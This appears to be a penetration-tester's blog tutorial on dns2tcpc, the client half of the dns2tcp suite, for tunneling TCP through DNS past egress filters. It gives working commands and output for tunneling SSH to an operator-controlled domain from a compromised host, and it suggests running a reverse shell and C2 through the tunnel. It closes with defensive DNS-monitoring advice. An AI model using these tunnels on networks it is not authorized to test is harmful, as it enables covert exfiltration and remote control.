dns2tcpc is the half of the dns2tcp toolset I actually run on the compromised or restricted host during an engagement — it’s the client that turns a locked-down “DNS resolution only” network into a usable path back to my infrastructure. If you’ve read my dns2tcpd article already, this one completes the picture from the client side.
What Is dns2tcpc?
dns2tcpc is the client binary of the dns2tcp suite. It connects to a dns2tcpd server over DNS queries and exposes a local TCP port that transparently tunnels to a named “resource” defined on the server (an SSH port, a web service, a reverse shell listener — whatever the server operator mapped). It’s the piece that actually lives on the target/restricted machine during a test.
Architecture and Internal Working
- dns2tcpc issues DNS queries for a domain the operator controls (e.g.,
t.yourlab.com). - It encodes outbound TCP payload into the query itself (subdomain labels, encoded as base32 by default).
- The queries are resolved through the client network’s normal DNS path — local resolver, up through recursive resolution — until they reach the operator’s authoritative
dns2tcpdserver. - The server decodes the payload, forwards it to the mapped backend resource, and returns response data encoded inside the DNS answer.
- dns2tcpc listens locally on a specified TCP port (
-l) and presents this tunneled connection as a normal local socket, so any tool (ssh, curl, nc) can just connect to127.0.0.1:<port>without knowing DNS is involved underneath.
Installation
sudo apt update
sudo apt install dns2tcp
This installs both dns2tcpc and dns2tcpd (server-side, covered in its own article).
Syntax
dns2tcpc -z <domain> -k <key> -r <resource> -l <local_port> [-c] <dns_server_ip>
Flag breakdown:
-z— the domain used for the tunnel (must match the server’s configured domain)-k— shared authentication key (must match server config)-r— the named resource to connect to, as defined in the server’sdns2tcpdrc-l— local TCP port to listen on-c— use TCP instead of UDP for the DNS transport (useful if UDP/53 is filtered but TCP/53 isn’t)- final argument — the DNS server/resolver to send queries through (can be the local resolver’s IP)
Complete Command Example and Output
Connecting to a mapped SSH resource:
$ dns2tcpc -z t.yourlab.com -k LabTestKey123 -r ssh -l 2222 192.168.1.1
Trying to resolve t.yourlab.com...
Connection to DNS server 192.168.1.1 established
Requesting resource: ssh
Server authenticated the session
Listening on 127.0.0.1:2222
Using the tunnel:
ssh -p 2222 labuser@127.0.0.1
labuser@127.0.0.1's password:
Welcome to Ubuntu 22.04 LTS
labuser@target-host:~$
This SSH session is fully encapsulated inside DNS traffic to t.yourlab.com.
Confirming with tcpdump on the client side:
sudo tcpdump -i eth0 udp port 53 -n -c 5
14:22:01.331982 IP 10.10.10.5.44210 > 192.168.1.1.53: 8871+ TXT? c3NoLWRhdGE.t.yourlab.com. (74)
14:22:01.398761 IP 192.168.1.1.53 > 10.10.10.5.44210: 8871 1/0/0 TXT (188)
Real-World Use Case (Authorized Pentest)
I typically use dns2tcpc in engagements where the client believes their egress filtering (“no outbound except DNS to our internal resolver”) is airtight:
- After establishing a foothold on an internal host with only DNS-out access, I drop or connect out with
dns2tcpcpointed at my dns2tcpd server, mapping thesshor a reverse-shell listener resource. - I show that a fully interactive shell is achievable purely by “resolving domain names,” bypassing every port-based control the client had in place.
- I document the exact query volume, timing, and payload characteristics captured during the test for the final report.
- My recommendation is almost always the same: force all endpoint DNS traffic through an inspected internal resolver (never allow direct external DNS from endpoints), and deploy DNS analytics that flag high query volume, long labels, and non-standard record type usage to a single domain.
Automation and Integration
- Script
dns2tcpcinvocation with a retry/reconnect wrapper for long-running lab demonstrations. - Feed the local tunneled port into
proxychains4(via a local SOCKS proxy layered on top, e.g.,ssh -Dthrough the tunnel) to route arbitrary tools through DNS. - Combine with a Metasploit reverse-shell payload configured to connect to
127.0.0.1:<local_port>, demonstrating full C2 over DNS in a controlled lab.
Performance Optimization
- Prefer UDP transport (default) over
-c(TCP) unless UDP/53 is specifically filtered — TCP DNS carries more per-packet overhead. - Keep the number of concurrent tunneled sessions low; DNS tunnel throughput (commonly tens of kbps) degrades quickly under multiplexed load.
- If transfers stall, check whether the local resolver truncates large TXT responses; some resolvers cap response sizes below what dns2tcp expects.
Troubleshooting
- “Could not resolve” / no response: verify the target domain’s NS delegation is live and that the specified DNS server argument is actually reachable from the client network.
- Authentication failures: the
-kkey must exactly match the server’skeyconfig value, including case. - Resource not found: the
-rname must exactly match a resource defined in the server’sdns2tcpdrc. - Connects but stalls under load: some corporate resolvers rate-limit unusual query types; slow down transfer rate or switch record types if configurable.
Best Practices
- Use dns2tcpc only against domains/infrastructure you or your engagement team control, and only on networks you’re explicitly authorized to test.
- Always set a real authentication key; skipping
-kleaves the tunnel open to anyone who discovers the domain. - Capture full packet traces during demonstrations for reporting — DNS tunneling findings land better with visual evidence.
- Set expectations with the client about tunnel throughput so results aren’t misread as “fast, unrestricted exfiltration.”
Common Mistakes
- Mismatched
-zdomain or-kkey between client and server, leading to silent connection failures that look like network issues. - Assuming any DNS server IP will work — the queries must actually be routable to (or via) the operator’s authoritative server for the tunnel domain.
- Not testing basic DNS resolution to the domain before troubleshooting dns2tcpc itself.
FAQ
Do I need root to run dns2tcpc? Not necessarily — since it doesn’t bind to port 53 like the server does, it can often run as an unprivileged user, though local security policy may restrict raw socket or network access.
Is traffic through dns2tcpc encrypted? No, the DNS encapsulation isn’t encryption by itself. Tunnel SSH or TLS through it if confidentiality is required, as shown in the SSH example above.
Can dns2tcpc bypass any firewall? Only ones permitting outbound DNS resolution and not deeply inspecting/rate-limiting DNS query volume and structure.
How is this different from using iodine as a client? dns2tcpc tunnels specific named TCP resources (a single service/port), while iodine’s client establishes a full IP-layer network interface. dns2tcp is often simpler to set up for single-service access like SSH.
Summary
dns2tcpc is the practical, client-side half of demonstrating DNS-based TCP tunneling in an authorized penetration test. Paired with a dns2tcpd server you control, it proves that “DNS is always open” is a real, exploitable gap in many egress security models — and gives clients concrete evidence to justify DNS-layer monitoring investments.
References
- dns2tcp GitHub (maintained fork): https://github.com/alex-sector/dns2tcp
- Kali Linux tool page: https://www.kali.org/tools/dns2tcp/
- Man page:
man dns2tcpc